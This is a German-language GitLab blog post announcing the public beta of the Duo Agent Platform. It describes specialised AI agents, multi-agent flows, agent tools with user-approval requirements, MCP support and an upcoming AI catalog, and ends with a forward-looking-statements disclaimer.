<p>GitLab Duo begann als Add-on, das generative KI zu Entwickler(inne)n über Duo Pro und Enterprise brachte. Mit GitLab 18.0 ist es jetzt in die Plattform integriert. Wir haben <a href="https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/">Duo Agentic Chat</a> und Code Suggestions für alle Premium- und Ultimate-Nutzer(innen) freigeschaltet, und jetzt bieten wir sofortigen Zugang zu Duo Agent Platform.</p>
<p>Wir haben die Engineering-Investitionen erhöht und beschleunigen die Bereitstellung, wobei jeden Monat leistungsstarke neue KI-Features landen. Aber wir bauen nicht nur einen weiteren Coding-Assistenten. GitLab Duo wird zu einer Agenten-Orchestrierungsplattform, auf der du KI-Agenten erstellen, anpassen und bereitstellen kannst, die an deiner Seite arbeiten und problemlos mit anderen Systemen interoperieren, was die Produktivität dramatisch steigert.</p>
<blockquote>
<p><strong>„GitLab Duo Agent Platform verbessert unseren Entwicklungsworkflow mit KI, die unsere Codebasis und unsere Organisation wirklich versteht. GitLab Duo KI-Agenten in unserem System of Record für Code, Tests, CI/CD und den gesamten Software-Entwicklungslebenszyklus eingebettet zu haben, steigert Produktivität, Geschwindigkeit und Effizienz. Die Agenten sind zu echten Mitarbeitern unserer Teams geworden, und ihre Fähigkeit, Absichten zu verstehen, Probleme zu zerlegen und Maßnahmen zu ergreifen, befreit unsere Entwickler(innen), sich den aufregenden, innovativen Arbeiten zu widmen, die sie lieben.&quot;</strong> - Bal Kang, Engineering Platform Lead bei NatWest</p>
</blockquote>
<h3>Agenten, die sofort funktionieren</h3>
<p>Wir führen Agenten ein, die vertraute Teamrollen widerspiegeln. Diese Agenten können in GitLab suchen, lesen, erstellen und vorhandene Artefakte ändern. Denk an diese als Agenten, mit denen du einzeln interagieren kannst, die auch als Bausteine fungieren, die du anpassen kannst, um deine eigenen Agenten zu erstellen. Wie deine Teammitglieder haben Agenten definierte Spezialisierungen, wie Softwareentwicklung, Testen oder technisches Schreiben. Als Spezialisten nutzen sie den richtigen Kontext und die richtigen Tools, um konsequent die gleichen Arten von Aufgaben zu erledigen, wo immer sie eingesetzt werden.</p>
<p>Hier sind einige der Agenten, die wir heute bauen:</p>
<ul>
<li><strong>Chat-Agent (jetzt in Beta):</strong> Nimmt Anfragen in natürlicher Sprache entgegen, um dem Nutzer Informationen und Kontext bereitzustellen. Kann allgemeine Entwicklungsaufgaben ausführen, wie das Lesen von Issues oder Code-Diffs. Als Beispiel kannst du Chat bitten, einen fehlgeschlagenen Job zu debuggen, indem du die Job-URL bereitstellst.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101953504?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-chat-in-web-ui-demo_Update V1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Software-Entwickler-Agent (jetzt in Beta):</strong> Arbeitet an zugewiesenen Elementen, indem er Code-Änderungen in virtuellen Entwicklungsumgebungen erstellt und Merge Requests zur Überprüfung öffnet.</li>
<li><strong>Produktplanungs-Agent:</strong> Priorisiert Produkt-Backlogs, weist Arbeitselemente menschlichen und agentischen Teammitgliedern zu und liefert Projekt-Updates über festgelegte Zeiträume.</li>
<li><strong>Software-Test-Ingenieur-Agent:</strong> Testet neue Code-Beiträge auf Bugs und validiert, ob gemeldete Probleme gelöst wurden.</li>
<li><strong>Code-Review-Agent:</strong> Führt Code-Reviews nach Teamstandards durch, identifiziert Qualitäts- und Sicherheitsprobleme und kann Code mergen, wenn er bereit ist.</li>
<li><strong>Plattform-Ingenieur-Agent:</strong> Überwacht GitLab-Deployments, einschließlich GitLab Runners, verfolgt die CI/CD-Pipeline-Gesundheit und meldet Performance-Probleme an menschliche Plattform-Engineering-Teams.</li>
<li><strong>Sicherheitsanalyse-Agent:</strong> Findet Schwachstellen in Codebasen und bereitgestellten Anwendungen und implementiert Code- und Konfigurationsänderungen, um Sicherheitsschwächen zu beheben.</li>
<li><strong>Deployment-Ingenieur-Agent:</strong> Stellt Updates in der Produktion bereit, überwacht ungewöhnliches Verhalten und macht Änderungen rückgängig, die sich auf die Anwendungsleistung oder -sicherheit auswirken.</li>
<li><strong>Deep-Research-Agent:</strong> Führt umfassende, quellenübergreifende Analysen über dein gesamtes Entwicklungsökosystem durch.</li>
</ul>
<p>Was diese Agenten leistungsstark macht, ist ihr nativer Zugriff auf GitLabs umfassendes Toolkit. Heute haben wir über 25 Tools, von Issues und Epics bis zu Merge Requests und Dokumentation, mit mehr in Sicht. Im Gegensatz zu externen KI-Tools, die mit begrenztem Kontext arbeiten, arbeiten unsere Agenten als echte Teammitglieder mit vollständigen Plattformberechtigungen unter deiner Aufsicht.</p>
<p>In den kommenden Monaten wirst du auch in der Lage sein, diese Agenten zu modifizieren, um den Bedürfnissen deiner Organisation gerecht zu werden. Zum Beispiel wirst du spezifizieren können, dass ein Software-Test-Ingenieur-Agent Best Practices für ein bestimmtes Framework oder eine bestimmte Methodik befolgt, seine Spezialisierung vertieft und ihn zu einem noch wertvolleren Teammitglied macht.</p>
<h2>Flows orchestrieren komplexe Agenten-Aufgaben</h2>
<p>Zusätzlich zu einzelnen Agenten führen wir Agenten-Flows ein. Betrachte diese als komplexere Workflows, die mehrere Agenten mit vorgefertigten Anweisungen, Schritten und Aktionen für eine bestimmte Aufgabe umfassen können, die autonom ausgeführt werden kann.</p>
<p>Während du Flows für grundlegende Aufgaben erstellen kannst, die für Einzelpersonen üblich sind, brillieren sie wirklich, wenn sie auf komplexe, spezialisierte Aufgaben angewendet werden, die normalerweise Stunden an Koordination und Aufwand erfordern würden. Flows helfen dir, komplexe Aufgaben schneller zu erledigen und in vielen Fällen asynchron ohne menschliche Intervention.</p>
<p>Flows haben spezifische Trigger für die Ausführung. Jeder Flow enthält eine Reihe von Schritten, und jeder Schritt hat detaillierte Anweisungen, die einem spezialisierten Agenten sagen, was zu tun ist. Dieser granulare Ansatz ermöglicht es dir, den Agenten im Flow präzise Anweisungen zu geben. Durch die Definition von Anweisungen mit mehr Details und die Einrichtung strukturierter Entscheidungspunkte können Flows helfen, die inhärente Variabilität in KI-Antworten zu lösen und gleichzeitig die Notwendigkeit zu eliminieren, wiederholt die gleichen Anforderungen zu spezifizieren, was konsistentere und vorhersagbarere Ergebnisse ohne Benutzerkonfiguration freischaltet.</p>
<p>Hier sind einige Beispiele für sofort einsatzbereite Flows, die wir bauen:</p>
<p><strong>Software-Entwicklungs-Flow (jetzt in Beta):</strong> Orchestriert mehrere Agenten, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen, und hilft dabei zu transformieren, wie Teams Features vom Konzept zur Produktion liefern.</p>
<p><strong>Issue-to-MR-Flow:</strong> Konvertiert automatisch Issues in umsetzbare Merge Requests, indem Agenten koordiniert werden, um Anforderungen zu analysieren, umfassende Implementierungspläne vorzubereiten und Code zu generieren.</p>
<p><strong>CI-Datei-Konvertierungs-Flow:</strong> Vereinfacht Migrations-Workflows, indem Agenten bestehende CI/CD-Konfigurationen analysieren und sie intelligent in das GitLab CI-Format mit vollständiger Pipeline-Kompatibilität konvertieren.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101941425?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;jenkins-to-gitlab-cicd-for-blog&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<p><strong>Such- und Ersetzungs-Flow:</strong> Entdeckt und transformiert Code-Muster über Codebasen hinweg, indem Projektstrukturen systematisch analysiert, Optimierungsmöglichkeiten identifiziert und präzise Ersetzungen ausgeführt werden.</p>
<p><strong>Incident-Response- und Root-Cause-Analyse-Flow:</strong> Orchestriert die Incident-Response durch Korrelation von Systemdaten, Koordination spezialisierter Agenten für die Root-Cause-Analyse und Ausführung genehmigter Abhilfemaßnahmen, während menschliche Stakeholder während des gesamten Lösungsprozesses informiert bleiben.</p>
<p>Hier verfolgt GitLab Duo Agent Platform einen wirklich einzigartigen Ansatz im Vergleich zu anderen KI-Lösungen. Wir geben dir nicht nur vorgefertigte Agenten. Wir geben dir auch die Möglichkeit, Agenten-Flows zu erstellen, anzupassen und zu teilen, die perfekt zu deinen individuellen und organisatorischen Bedürfnissen passen. Und mit Flows kannst du dann Agenten einen spezifischen Ausführungsplan für allgemeine und komplexe Aufgaben geben.</p>
<p>Wir glauben, dass dieser Ansatz leistungsstärker ist als spezialisierte Agenten zu bauen, wie es unsere Wettbewerber tun, denn jede Organisation hat unterschiedliche Workflows, Codierungsstandards, Sicherheitsanforderungen und Geschäftslogik. Generische KI-Tools können deinen spezifischen Kontext nicht verstehen, aber GitLab Duo Agent Platform wird so angepasst werden können, dass sie genau so funktioniert, wie dein Team arbeitet.</p>
<h2>Warum Agenten und Agenten-Flows in GitLab Duo Agent Platform bauen?</h2>
<p><strong>Es geht schnell.</strong> Du kannst Agenten und komplexe Agenten-Flows in Duo Agent Platform schnell und einfach mit einem schnellen, deklarativen Erweiterbarkeitsmodell und UI-Unterstützung erstellen.</p>
<p><strong>Integrierte Rechenleistung.</strong> Mit Duo Agent Platform musst du dich nicht mehr um den Aufwand kümmern, deine eigene Infrastruktur für Agenten aufzubauen: Rechenleistung, Netzwerk und Speicher sind alle integriert.</p>
<p><strong>SDLC-Events.</strong> Deine Agenten können automatisch bei gängigen Ereignissen aufgerufen werden: defekte Pipeline, fehlgeschlagenes Deployment, erstelltes Issue usw.</p>
<p><strong>Sofortiger Zugriff.</strong> Du kannst mit deinen Agenten überall in GitLab oder unserem IDE-Plugin interagieren: weise ihnen Issues zu, @erwähne sie in Kommentaren und chatte mit ihnen überall, wo Duo Chat verfügbar ist.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1102029239?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;assigning an agent an issue&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt; &lt;p&gt;&lt;/p&gt;</p>
<p><strong>Unterstützung integrierter und benutzerdefinierter Modelle.</strong> Deine Agenten haben automatischen Zugriff auf alle von uns unterstützten Modelle, und Nutzer(innen) können spezifische Modelle für spezifische Aufgaben auswählen. Wenn du Duo Agent Platform mit deinem eigenen selbst gehosteten Modell verbinden möchtest, kannst du das auch tun!</p>
<p><strong>Model Context Protocol (MCP) Endpunkte.</strong> Jeder Agent und Flow kann über native MCP-Endpunkte aufgerufen oder ausgelöst werden, sodass du dich von überall aus mit deinen Agenten und Flows verbinden und zusammenarbeiten kannst, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf.</p>
<p><strong>Observability und Sicherheit.</strong> Schließlich bieten wir integrierte Observability und Nutzungs-Dashboards, damit du genau sehen kannst, wer, wo, was und wann Agenten in deinem Namen Aktionen durchgeführt haben.</p>
<h2>Eine von der Community getriebene Zukunft</h2>
<p>Community-Beiträge haben lange Zeit GitLabs Innovation und Softwareentwicklung angetrieben. Wir freuen uns, mit unserer Community bei der Einführung des KI-Katalogs zusammenzuarbeiten. Der KI-Katalog ermöglicht es dir, Agenten und Flows innerhalb deiner Organisation und im gesamten GitLab-Ökosystem in unserer kommenden Beta zu erstellen und zu teilen.</p>
<p>Wir glauben, dass die wertvollsten KI-Anwendungen wahrscheinlich von dir, unserer Community, entstehen werden, dank deiner täglichen Anwendung von GitLab Duo Agent Platform zur Lösung zahlreicher realer Anwendungsfälle. Durch die Ermöglichung des nahtlosen Teilens von Agenten und Flows schaffen wir einen Netzwerkeffekt, bei dem jeder Beitrag die kollektive Intelligenz und den Wert der Plattform erhöht. Im Laufe der Zeit glauben wir, dass die wertvollsten Anwendungsfälle von Agent Platform aus unserer florierenden GitLab-Community kommen werden.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685501/awdwx08udwrxgvcpmssb.png" alt="AI Catalog" title="AI Catalog"></p>
<h2>Heute verfügbar in GitLab Duo Agent Platform in Public Beta</h2>
<p>Die Public Beta von GitLab Duo Agent Platform ist jetzt für Premium- und Ultimate-Kund(inn)en mit diesen Funktionen verfügbar:</p>
<p><strong>Software-Entwicklungs-Flow:</strong> Unser erster Flow orchestriert Agenten beim Sammeln umfassenden Kontexts, beim Klären von Unklarheiten mit menschlichen Entwickler(inne)n und beim Ausführen strategischer Pläne, um präzise Änderungen an deiner Codebasis und deinem Repository vorzunehmen. Er nutzt dein gesamtes Projekt, einschließlich seiner Struktur, Codebasis und Historie, zusammen mit zusätzlichem Kontext wie GitLab-Issues oder Merge Requests, um die Produktivität der Entwickler(innen) zu steigern.</p>
<p><strong>Neue verfügbare Agenten-Tools:</strong> Agenten haben jetzt Zugriff auf mehrere Tools, um ihre Arbeit zu erledigen, darunter:</p>
<ul>
<li>Dateisystem (Lesen, Erstellen, Bearbeiten, Dateien finden, Auflisten, Grep)</li>
<li>Befehlszeile ausführen*</li>
<li>Issues (Auflisten, Abrufen, Kommentare abrufen, Bearbeiten*, Erstellen*, Kommentare hinzufügen/aktualisieren*)</li>
<li>Epics (Abrufen, Kommentare abrufen)</li>
<li>MR (Abrufen, Kommentare abrufen, Diff abrufen, Erstellen, Aktualisieren)</li>
<li>Pipeline (Job-Logs, Pipeline-Fehler)</li>
<li>Projekt (Abrufen, Datei abrufen)</li>
<li>Commits (Abrufen, Auflisten, Kommentare abrufen, Diff abrufen)</li>
<li>Suche (Issue-Suche)</li>
<li>Secure (Schwachstellen auflisten)</li>
<li>Dokumentationssuche
*=Erfordert Benutzergenehmigung</li>
</ul>
<p><strong>GitLab Duo Agentic Chat in der IDE:</strong> Duo Agentic Chat verwandelt die Chat-Erfahrung von einem passiven Q&amp;A-Tool in einen aktiven Entwicklungspartner direkt in deiner IDE.</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101953477?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-ai-launch-video_Updated V1&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Iteratives Feedback und Chat-Verlauf:</strong> Duo Agentic Chat unterstützt jetzt Chat-Verlauf und iteratives Feedback und verwandelt den Agenten in einen zustandsbehafteten, gesprächsfähigen Partner. Dies fördert Vertrauen und ermöglicht es Entwickler(inne)n, komplexere Aufgaben zu delegieren und korrigierende Anleitung zu bieten.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743173?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;agentic-chat-history&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Optimierte Delegation mit Slash-Befehlen:</strong> Erweiterte, leistungsstärkere Slash-Befehle wie /explain, /tests und /include erstellen eine „Delegationssprache&quot; für schnelle und präzise Absichten. Der /include-Befehl ermöglicht die explizite Injektion von Kontext aus bestimmten Dateien, offenen Issues, Merge Requests oder Abhängigkeiten direkt in den Arbeitsspeicher des Agenten, macht den Agenten leistungsfähiger und lehrt Nutzer(innen), wie sie optimalen Kontext für qualitativ hochwertige Antworten bereitstellen.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743187?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;include-agentic-chat-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Personalisierung durch benutzerdefinierte Regeln:</strong> Neue benutzerdefinierte Regeln ermöglichen es Entwickler(inne)n, das Agentenverhalten an individuelle und Teampräferenzen anzupassen, indem sie natürliche Sprache verwenden, zum Beispiel Entwicklungs-Styleguides. Dieser grundlegende Mechanismus formt die Persönlichkeit des Agenten zu einem personalisierten Assistenten und entwickelt sich zu spezialisierten Agenten basierend auf benutzerdefinierten Präferenzen und organisatorischen Richtlinien.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743179?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;custom-rules-with-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Unterstützung für GitLab Duo Agentic Chat in JetBrains IDE:</strong> Um Entwickler(innen) dort zu treffen, wo sie arbeiten, haben wir die Unterstützung von Duo Agentic Chat auf die JetBrains-Familie von IDEs erweitert, einschließlich IntelliJ, PyCharm, GoLand und Webstorm. Dies ergänzt unsere bestehende Unterstützung für VS Code. Bestehende Nutzer(innen) erhalten automatisch agentische Funktionen, während neue Nutzer(innen) das Plugin vom JetBrains Marketplace installieren können.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743193?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;jetbrains-support-jc-voiceover&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>MCP-Client-Unterstützung:</strong> Duo Agentic Chat kann jetzt als MCP-Client fungieren und sich mit remote und lokal laufenden MCP-Servern verbinden.</li>
</ul>
<p>Diese Fähigkeit ermöglicht es dem Agenten, sich mit Systemen jenseits von GitLab wie Jira, ServiceNow und ZenDesk zu verbinden, um Kontext zu sammeln oder Aktionen durchzuführen. Jeder Service, der sich über MCP exponiert, kann jetzt Teil des Skillsets des Agenten werden. Der offizielle GitLab MCP-Server kommt bald!</p>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1101743202?title=0&amp;byline=0&amp;portrait=0&amp;badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;McpDemo&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>GitLab Duo Agentic Chat in der GitLab Web-UI.</strong> Duo Agentic Chat ist jetzt auch direkt in der GitLab Web-UI verfügbar. Dieser entscheidende Schritt entwickelt den Agenten von einem Coding-Assistenten zu einem echten DevSecOps-Agenten, da er Zugriff auf reichhaltigen Nicht-Code-Kontext erhält, wie Issues und Merge-Request-Diskussionen, was es ihm ermöglicht, das „Warum&quot; hinter der Arbeit zu verstehen. Über das Verständnis des Kontexts hinaus kann der Agent Änderungen direkt aus der Web-UI vornehmen, wie z.B. automatisch Issue-Status aktualisieren oder Merge-Request-Beschreibungen bearbeiten.</li>
</ul>
<h2>Bald verfügbar in GitLab Duo Agent Platform</h2>
<p>In den kommenden Wochen werden wir neue Funktionen für Duo Agent Platform veröffentlichen, einschließlich weiterer sofort einsatzbereiter Agenten und Flows. Diese werden die Plattform in die GitLab-Erfahrung bringen, die du heute liebst, und noch größere Anpassung und Erweiterbarkeit ermöglichen, was die Produktivität für unsere Kund(inn)en verstärkt:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685275/hjbe9iiu2ydp9slibsc2.png" alt="GitLab Duo Agent Platform public beta roadmap" title="GitLab Duo Agent Platform public beta roadmap"></p>
<ul>
<li><strong>Integrierte GitLab-Erfahrung:</strong> Aufbauend auf den in 18.2 verfügbaren IDE-Erweiterungen erweitern wir Agenten und Flows innerhalb der GitLab-Plattform. Diese tiefere Integration wird die Möglichkeiten erweitern, wie du synchron und asynchron mit Agenten zusammenarbeiten kannst. Du wirst in der Lage sein, Issues direkt an Agenten zuzuweisen, sie in GitLab Duo Chat zu @erwähnen und sie nahtlos von überall in der Anwendung aufzurufen, während die MCP-Konnektivität von deinem bevorzugten Entwicklungstool beibehalten wird. Diese native Integration verwandelt Agenten in echte Entwicklungsteammitglieder, die in ganz GitLab zugänglich sind.</li>
<li><strong>Agenten-Observability:</strong> Da Agenten autonomer werden, bauen wir umfassende Sichtbarkeit in ihre Aktivität auf, während sie durch Flows fortschreiten, was es dir ermöglicht, ihre Entscheidungsprozesse zu überwachen, Ausführungsschritte zu verfolgen und zu verstehen, wie sie deine Entwicklungsherausforderungen interpretieren und darauf reagieren. Diese Transparenz im Agentenverhalten schafft Vertrauen und Zuversicht, während es dir ermöglicht, Workflows zu optimieren, Engpässe zu identifizieren und sicherzustellen, dass Agenten genau wie beabsichtigt funktionieren.</li>
<li><strong>KI-Katalog:</strong> In Anerkennung der Tatsache, dass großartige Lösungen aus Community-Innovation entstehen, werden wir bald die Public Beta unseres KI-Katalogs einführen - ein Marktplatz, der es dir ermöglicht, Duo Agent Platform mit spezialisierten Agenten und Flows zu erweitern, die von GitLab und im Laufe der Zeit von der breiteren Community stammen. Du wirst in der Lage sein, diese Lösungen schnell in GitLab bereitzustellen und dabei den Kontext über deine Projekte und Codebasis hinweg zu nutzen.</li>
<li><strong>Knowledge Graph:</strong> Unter Nutzung von GitLabs einzigartigem Vorteil als System of Record für Quellcode und seinen umgebenden Kontext bauen wir einen umfassenden Knowledge Graph auf, der nicht nur Dateien und Abhängigkeiten über die Codebasis hinweg abbildet, sondern diese Karte auch für Nutzer(innen) navigierbar macht, während KI-Abfragezeiten beschleunigt und die Genauigkeit erhöht wird. Diese Grundlage ermöglicht es GitLab Duo-Agenten, Beziehungen über deine gesamte Entwicklungsumgebung hinweg schnell zu verstehen, von Code-Abhängigkeiten bis zu Deployment-Mustern, und ermöglicht schnellere und präzisere Antworten auf komplexe Fragen.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752685367/n0tvfgorchuhrronic3j.png" alt="GitLab Duo Agent Platform Knowledge Graph" title="GitLab Duo Agent Platform Knowledge Graph"></p>
<ul>
<li><strong>Agenten und Flows erstellen und bearbeiten:</strong> Im Verständnis, dass jede Organisation einzigartige Workflows und Anforderungen hat, entwickeln wir leistungsstarke Funktionen zur Erstellung und Bearbeitung von Agenten und Flows, die eingeführt werden, wenn der KI-Katalog reift. Du wirst in der Lage sein, Agenten und Flows zu erstellen und zu modifizieren, damit sie genau so funktionieren, wie deine Organisation arbeitet, und eine tiefe Anpassung über Duo Agent Platform hinweg liefern, die qualitativ hochwertigere Ergebnisse und erhöhte Produktivität ermöglicht.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1752684938/fruwqcqvvrx8gmkz5u0v.png" alt="AI Catalog" title="AI Catalog"></p>
<ul>
<li><strong>Offizieller GitLab MCP-Server:</strong> In der Erkenntnis, dass Entwickler(innen) über mehrere Tools und Umgebungen hinweg arbeiten, bauen wir einen offiziellen GitLab MCP-Server, der es dir ermöglicht, über MCP auf alle deine Agenten und Flows zuzugreifen. Du wirst in der Lage sein, dich mit deinen Agenten und Flows von überall aus zu verbinden und zusammenzuarbeiten, wo MCP unterstützt wird, einschließlich beliebter Tools wie Claude Code, Cursor, Copilot und Windsurf, was eine nahtlose KI-Zusammenarbeit unabhängig von deiner bevorzugten Entwicklungsumgebung ermöglicht.</li>
<li><strong>GitLab Duo Agent Platform CLI:</strong> Unsere kommende CLI ermöglicht es dir, Agenten aufzurufen und Flows auf der Befehlszeile auszulösen, wobei GitLabs reichhaltiger Kontext über den gesamten Software-Entwicklungslebenszyklus genutzt wird - von Code-Repositories und Merge Requests bis zu CI/CD-Pipelines und Issue-Tracking.</li>
</ul>
<h2>Jetzt loslegen</h2>
<ul>
<li><strong>GitLab Premium- und Ultimate-Kund(inn)en</strong> in GitLab.com- und selbstverwalteten Umgebungen, die GitLab 18.2 verwenden, können Duo Agent Platform sofort nutzen (Beta- und experimentelle Funktionen für GitLab Duo <a href="https://docs.gitlab.com/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features">müssen aktiviert sein</a>).</li>
<li>Nutzer(innen) sollten die <a href="https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow">VS Code-Erweiterung</a> oder das <a href="https://plugins.jetbrains.com/plugin/22857-gitlab">JetBrains IDEs-Plugin</a> herunterladen und unserem <a href="https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#use-agentic-chat">Leitfaden zur Verwendung von GitLab Duo Agentic Chat</a> folgen, einschließlich der Duo Chat <a href="https://docs.gitlab.com/user/gitlab_duo_chat/examples/#gitlab-duo-chat-slash-commands">Slash-Befehle</a>.</li>
</ul>
<p><strong>Neu bei GitLab?</strong> Jeder kann an unserer kommenden (englischsprachigen) <a href="https://page.gitlab.com/webcasts-jul16-gitlab-duo-agentic-ai-emea-amer.html">Technischen Demo teilnehmen, um GitLab Duo Agent Platform</a> in Aktion zu sehen. Um GitLab Duo Agent Platform selbst praktisch zu erleben, melde dich noch heute für eine <a href="https://gitlab.com/-/trials/new?glm_content=default-saas-trial&amp;glm_source=about.gitlab.com%2Fsales%2F">kostenlose Testversion</a> an.</p>
<p>&lt;small&gt;<em>Dieser Blogbeitrag enthält „zukunftsgerichtete Aussagen&quot; im Sinne von Abschnitt 27A des Securities Act von 1933 in der geänderten Fassung und Abschnitt 21E des Securities Exchange Act von 1934. Obwohl wir glauben, dass die in den zukunftsgerichteten Aussagen in diesem Blogbeitrag zum Ausdruck gebrachten Erwartungen angemessen sind, unterliegen sie bekannten und unbekannten Risiken, Unsicherheiten, Annahmen und anderen Faktoren, die dazu führen können, dass die tatsächlichen Ergebnisse oder Resultate wesentlich von den in den zukunftsgerichteten Aussagen ausgedrückten oder implizierten zukünftigen Ergebnissen oder Resultaten abweichen.</em></p>
